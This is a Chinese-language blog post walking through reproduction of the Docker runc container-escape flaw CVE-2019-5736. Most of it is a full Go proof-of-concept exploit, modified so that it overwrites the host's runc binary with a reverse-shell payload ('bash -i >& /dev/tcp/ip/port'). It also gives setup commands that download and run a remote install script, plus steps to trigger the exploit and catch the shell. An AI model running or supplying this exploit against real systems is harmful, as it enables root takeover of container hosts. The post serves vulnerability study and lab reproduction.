docker逃逸漏洞——CVE-2019-5736

docker runc容器逃逸漏洞(CVE-2019-5736)发生在runc模块(也叫容器运行时)。

Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作,来获取到宿主机的runc执行时的文件句柄,并修改掉runc的二进制文件,从而可以在宿主机上以root身份执行命令。

漏洞环境复现
1、安装脚本环境

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

这里安装完后会直接进入docker,退出后查看版本
Docker版本 < 18.09.2,runC版本< 1.0-rc6。
在这里插入图片描述
上面的脚本会自动拉取一个Ubuntu镜像
在这里插入图片描述
下载并且修改poc

wget https://github.com/Frichetten/CVE-2019-5736-PoC

修改后的poc(记得将sh修改为bash启动)

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
        "flag"
)


var shellCmd string

func init() {
        flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
        flag.Parse()
}

func main() {
        // This is the line of shell commands that will execute on the host
        var payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1" + shellCmd
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/bash")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                        fmt.Println(err)
                        return
                }
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {
                                        fmt.Println(err)
                                        return
                                }
                        }
                }
        }

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
                }
        }
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)
                        fmt.Println("[+] The command executed is" + payload)
                        writeHandle.Write([]byte(payload))
                        return
                }
        }
}

编译poc(需要安装golang-go和gccgo-go)

CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build main.go

将编译好的文件拷贝到docker镜像

docker exec -ti 3d5341ae0bf5  /bin/bash

假设管理员进入docker容器

docker exec -it 3d5341ae0bf5  /bin/sh

在kali上启用监听
在这里插入图片描述
就可以看到shell反弹成功了!
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值